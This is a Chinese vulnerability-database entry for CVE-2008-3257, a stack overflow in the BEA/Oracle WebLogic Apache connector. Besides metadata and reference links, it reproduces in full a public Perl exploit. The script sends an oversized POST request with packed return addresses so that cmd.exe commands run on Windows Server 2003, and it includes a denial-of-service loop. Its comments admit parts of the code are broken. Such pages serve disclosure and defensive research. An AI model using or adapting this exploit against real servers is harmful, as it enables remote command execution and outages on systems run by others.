Oracle Weblogic Apache连接器POST请求远程栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115709 漏洞类型 缓冲区溢出
发布时间 2008-07-17 更新时间 2008-11-20
CVE编号 CVE-2008-3257 CNNVD-ID CNNVD-200807-361
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/6089
https://www.securityfocus.com/bid/30273
https://cxsecurity.com/issue/WLB-2012050146
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200807-361
|漏洞详情
WebLogic包含多种应用系统集成方案,包括Server/Express/Integration等。WebLogic的Apache连接器实现上存在漏洞,如果远程攻击者向WebLogic的Apache连接器发送了超长的POST请求的话,就可能触发栈溢出,导致执行任意指令。
|漏洞EXP
#// Bea Weblogic -- Apache Connector Remote Exploit +-1day
#// Should stack break latest Windows Server 2003 <address space randomization>
#// BIG THANKS TO 
#// "dong-hun you"(Xpl017Elz) in INetCop - for his paper
#// "Title: Advanced exploitation in exec-shield (Fedora Core case study)"
#// His technique works fine against Windows 2003 latest version.
#//
#// The code is broken, since I am chilling out for now
#// SKIDDI BULLETPROOF
#// You may fixup the DoS Code, Windows Code Works on English OSs
#// KingCope -- July/2008

use IO::Socket;
use strict;

$|=1;
my $apacheport = 80;	#// Touch
###
my $wrongusage = 0;
my $dodoshost = 0;

###############################################################################
### Target List Entries |Operating System and Patch Level / Kernel Version|
###############################################################################
my @targets = ();
my @tgtname = ();
print "-" x 80;
$targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English\n";
$tgtname[0] = $targets[0];
$targets[100] = "2 Denial of Service\n";
$tgtname[100] = $targets[100];

###############################################################################
### Print Of Target List And Usage
###############################################################################
print "\n";

print "Bea Weblogic -- Apache Connector Remote Exploit\n\n";
print "Target List:\n";

foreach my $target (@targets) {	
	print $target;
}
print "\n\n";
print "-" x 80;
print "Usage: perl bea-unlock.pl <hostname or ip> <target>";
print "\n";

printusage:
if ($wrongusage == 1) {	exit; }

################################################################################
### Argument Parsing
################################################################################
my $host = $ARGV[0];
my $target = $ARGV[1];

if (($host == "") || ($target == "")) {
	$wrongusage = 1;
	goto printusage;
}

################################################################################
### Setup Socket
################################################################################
setupsocket:
my $sock = IO::Socket::INET->new(PeerAddr => $host,
                           	     PeerPort => $apacheport,
   	                             Proto    => 'tcp');
if ($dodoshost == 1) {
	goto doshost;	
}
################################################################################
### Select Target
################################################################################
if ($target == 1) {
	print "Exploiting $host -- " . $tgtname[$target-1];
	goto winexpl;
}

if ($target == 2) {
    print "Attacking Host $host -- Denial of Service -- Wait ...\n";
	goto doshost;
}

################################################################################
### Exploitation of Windows Versions
################################################################################
winexpl:
####WORKS [LOOKUP THE HOSTNAME]
my $command = "echo works > c:\\desiredfile.txt";
			 
my $cmds = "cmd.exe /c \"$command\"|";

my $sc = $cmds;

#### STACKBREAKING WITH WINEXEC() ON WINDOWS

my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E);
my $a = $cmds . "A" x (4000-length($cmds)) . $c;

print $sock "POST /.jsp $a\r\nHost: localhost\r\n\r\n";

while (<$sock>) {	
	print;
}
################################################################################
### Denial of Service Against The Apache Frontend Module For Bea Weblogic
################################################################################
####NEEDS SOME FIXUP
doshost:
$dodoshost = 1;

while(1) {
	$a = "A" x 6000;
	goto setupsocket;
	print $sock "POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n";
	while(read($sock,$_,100)) {
		my $dosagain = 0;
		
		if ($dosagain eq 1) {
				"Server is down now\n";
				exit;
		}
		
		if ($_ =~ /Server/) {
			print ".";
			$dosagain = 1;
			next;
		}
	}
}

# milw0rm.com [2008-07-17]
|受影响的产品
Oracle mod_wl 0 BEA Systems Weblogic Server 8.1 SP 6 BEA Systems Weblogic Server 8.1 SP 5 BEA Systems Weblogic Server 8.1 SP 4 BEA Systems Weblogic Server 8.1 SP 3 BEA Sys
|参考资料

来源:US-CERT
名称:VU#716387
链接:http://www.kb.cert.org/vuls/id/716387
来源:support.bea.com
链接:https://support.bea.com/application_content/product_portlets/securityadvisories/2793.html
来源:XF
名称:oracle-weblogic-apacheconnector-bo(43885)
链接:http://xforce.iss.net/xforce/xfdb/43885
来源:SECTRACK
名称:1020520
链接:http://www.securitytracker.com/id?1020520
来源:BID
名称:30273
链接:http://www.securityfocus.com/bid/30273
来源:Oracle
链接:http://www.oracle.com/technology/deploy/security/alerts/alert_cve2008-3257.html
来源:MILW0RM
名称:6089
链接:http://www.milw0rm.com/exploits/6089
来源:VUPEN
名称:ADV-2008-2145
链接:http://www.frsirt.com/english/advisories/2008/2145/references
来源:VIM
名称:20080717BeaWeblogicApacheConnectorBOF/RemoteDenialofServicePoC
链接:http://www.attrition.org/pipermail/vim/2008-July/002036.html
来源:VIM
名称:20080717BeaWeblogicApacheConnectorBOF/RemoteDenialofServicePoC
链接:http://www.attrition.org/pipermail/vim/2008-July/002035.html
来源:SECUNIA
名称:31146
链接:http://secunia.com/advisories/31146
来源:Oracle
链接:http://blogs.